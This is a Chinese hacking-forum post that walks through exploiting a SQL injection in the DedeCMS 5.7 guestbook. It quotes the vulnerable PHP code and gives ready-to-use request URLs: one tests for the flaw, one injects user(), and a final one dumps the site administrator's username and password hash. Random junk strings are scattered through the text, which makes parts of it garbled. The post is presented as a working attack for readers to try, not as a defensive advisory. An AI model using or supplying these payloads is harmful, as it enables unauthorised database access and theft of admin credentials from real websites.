找回密码
 立即注册
查看: 4784|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.75 q/ h( D; ]8 ^6 A6 i! u8 h5 V
1 D$ B$ a3 M  l7 z. {: U
漏洞文件edit.inc.php具体代码:
8 h/ X1 c3 l; h: j* {0 s" q/ ?1 z- {6 K( s: i. n2 T
< ?php  
. l8 V1 f# g0 t, _  Y7 a' i
% p' C, Q& H7 {5 rif(!defined('DEDEINC')) exit('Request Error!');  * c- Z' z, T0 U. G
% D$ G& d* `4 [$ ^
   
% l; A. U/ u& e" ?) ^- p- U
& a0 ?8 q) ?0 k4 X, N: r- uif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
) `: `: [7 P: q0 r* u
& E. _3 ^- }5 ^4 E( welse $GUEST_BOOK_POS = "guestbook.php";  
: d2 g: T/ n. p8 T2 J; V) M
* _* D1 y6 `1 M" X   
! Z5 Q: `& m1 a* C
! a3 e3 E7 G5 Y. N8 E9 _$id = intval($id);  , o: _8 L! J3 A  R
9 o; x! k$ o" @. g, q  g
if(empty($job)) $job='view';  ! Z' `8 S4 N8 O, ?# |

: \/ Q) K9 j! I' c2 W   
/ I. P4 ]7 a8 f2 }- H6 ]
7 c& R$ K/ f; B: l9 Z3 Xif($job=='del' && $g_isadmin)  $ X* b7 D3 Q) I7 m& V# `# n
" y  \( O  V* w( l/ k
{  - t% R9 a9 \/ ^" R& `: A3 R: x7 ]

0 c2 h$ h# }8 }* y) r+ U- _$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
/ m* @* k5 i2 x' g* T
6 x+ g  C' B0 k, I, q8 b* _+ HShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  7 |( W  V) ^+ K" a* Y
# p1 X/ h/ b) b/ f, L, f( K
exit();  8 L5 @3 r2 K$ P; `
; {/ r8 p/ R( y3 {9 o8 A& y3 ~
}  " @0 @! ]* `2 m
! |* b, {7 w+ z/ t
else if($job=='check' && $g_isadmin)  " w2 f2 k7 k' j1 A. v" O$ q

! \' O% p" C. G8 S- `{  
+ D) I2 R0 o+ A5 m1 W3 f2 J  L* L7 T) s+ h1 X0 h1 w
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
3 w( E1 f7 Q! z& y2 j% j% q# i$ S! h. d( N2 F8 Z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  . p+ I' m* h3 q7 Y
( B% i. A9 E3 }5 P
exit();  # A. E) Z$ _* [2 T) X& L
# Y4 q2 |) d' B" r+ u' N
}  1 \" O- W7 r0 d- \7 D7 e' d, O

" a  x# }, T' `; L$ x0 z0 celse if($job=='editok')  
* x# ?  c+ e5 s: O- x0 e
3 H) f9 m% w; q6 L{  & a8 p4 N. Z& c$ m$ T

. T; D; l& h, l& ~. U! K- K$remsg = trim($remsg);  
- j6 o3 H: ]8 q0 G2 U6 X+ c1 O  q
4 l/ N5 i8 ^! d# o: p- L0 K8 Pif($remsg!='')  
* D1 x' e7 X& J- l9 J, k0 {9 q; e& e5 q
{  
' O7 V5 ]. l; m) L- m: w. ^9 ~0 ~6 ]' O2 ]
//管理员回复不过滤HTML By:Errorera blog:errs.cc  # r/ j" a2 t9 h* g- C, w1 L3 D. u" Y

: C% }( `6 x* G1 K% n3 W, P* j: nif($g_isadmin)  9 \- K2 ]0 e$ n' X- U, Y0 T5 M- ~

) R5 P$ g& c! w' p3 \, p) S  V- Y7 w; m{  
/ o) n5 q" p0 S- K2 r5 q* V. g, s' J5 e0 x) q
$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
: w9 n7 @, T5 L& X
4 e% T2 e1 W1 J9 I  q( @* k//$remsg <br /><font color=red>管理员回复:</font> }  : L: I% v; S  L" J
: ^* \9 {! m6 `8 p9 f* t/ O. g8 x* v
else
  R' g0 \1 d& O4 p( r% O0 {; q/ B2 I8 ~
{  
$ i6 n) d# b# [6 U2 F) Q
# w5 Y. T1 L  I$ }$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
; ]# L, ?) G- Y; ~) c* j
- W& w0 J+ T/ L. |3 C$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
0 r" d/ c9 j0 q0 D# F: O2 {, I7 q8 Z3 e  k  j* R( M: V, V
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
* k8 p& q: o8 k* ^* e) G: |; [7 D/ \" b0 u6 f
$msg = $oldmsg.$remsg;  
' m3 j( I3 A% `& Q: ]: z
7 n9 {8 a: I5 _0 u: q5 e2 L1 J8 s}  
( _& S6 [# a% d% r0 S5 k8 O
& w, `7 y4 R3 t) l' o# D}  ; ]# v& D9 t- |2 I( V* \

1 p  I  \0 R% P  o: B. n% h//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
9 u: f- X8 d: I% \* j4 a3 R, L' Q1 p, ~+ O
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
' X: `4 m" e) H% p9 E9 k
+ d, T2 r4 a- Z; PShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  ; K# l/ K+ S+ e4 s
. F" Y4 I% a+ Y4 Z
exit();  " n  t! l4 o& h9 ]
% U6 P2 a7 S  m, d
}  ; J" [& l  m  u& _4 V
2 A! t1 N& M' e3 o/ ?  c! c/ g
//home:www.errs.cc  
$ g) r5 G, G+ H! q7 I! D; J9 C& u' a1 ^9 C
if($g_isadmin)  ' S5 H& Q" U5 }3 f( S1 O

9 H5 c' ?8 e! t; r! t' B/ Y{  
9 `; E, P) M* N6 p. L' I* ?4 i7 d0 e4 Z$ x- K
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  : _- b2 R: |+ G7 h! a! E1 |
' x9 u* r' o, b# j+ l
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
8 K; k9 O$ O0 q  }3 R2 z5 a. h8 x6 _" a
}  3 E0 d6 y1 ^- g( [3 j+ p" |6 E
$ s2 w! ?# a. \$ S
else 8 P$ V2 H& |4 A8 h0 z

2 E' i7 O' B2 |  m, k2 S{  0 w4 J& S$ H$ T2 [, q9 k9 d
, K* e, ?+ _1 ^
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
. r, r% B% K( p  k/ c; q
# X/ T  {* n: z1 Mrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
0 `/ a, z+ Z# Y7 m: L
. F  G) t) r7 _$ A) f} 漏洞成功需要条件:
/ ^+ t( R# V5 d9 U1. php magic_quotes_gpc=off$ {7 y# P# k( q# o9 o5 \
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。( f8 m4 f9 D1 S3 f3 j$ Y

* i1 j! A& ~  X  M# J0 g. F怎么判断是否存在漏洞:
# g7 U6 ^0 X. J3 h3 X先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,3 i& }( Z' f8 \  w' a; w5 \
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; \  S# U+ ]3 {; @( T+ y, F
访问:2 f9 `8 Y  e# Y/ I, b+ ?$ h2 C7 f
8 @; o* d- `" B) W
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
3 I* B  J1 D3 V. C. T跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
' a% \5 E9 A4 {1 O
8 Z4 o3 u  P  M4 s# O% }" A4 B; \
: N: D  E1 M5 L明漏洞无法利用应为他开启了 php magic_quotes_gpc=off0 t: r5 S* k; b  S. w
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
* R+ I) W% k3 y6 u1 o/ W5 `1 o那么再次访问4 ~3 D- w$ i2 [! l
6 P& J, |/ p* I) Y6 `+ Z' R% g0 v
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().5 n  D7 y; q8 O

& O9 X6 r0 ^4 Q$ D' K大概利用就是这样,大家有兴趣的多研究下!!+ k+ k/ l4 [$ [
# c4 ]1 F! r/ |
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!: o& m8 d- U( L% O& D
" p. I, w! p+ Z' a
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表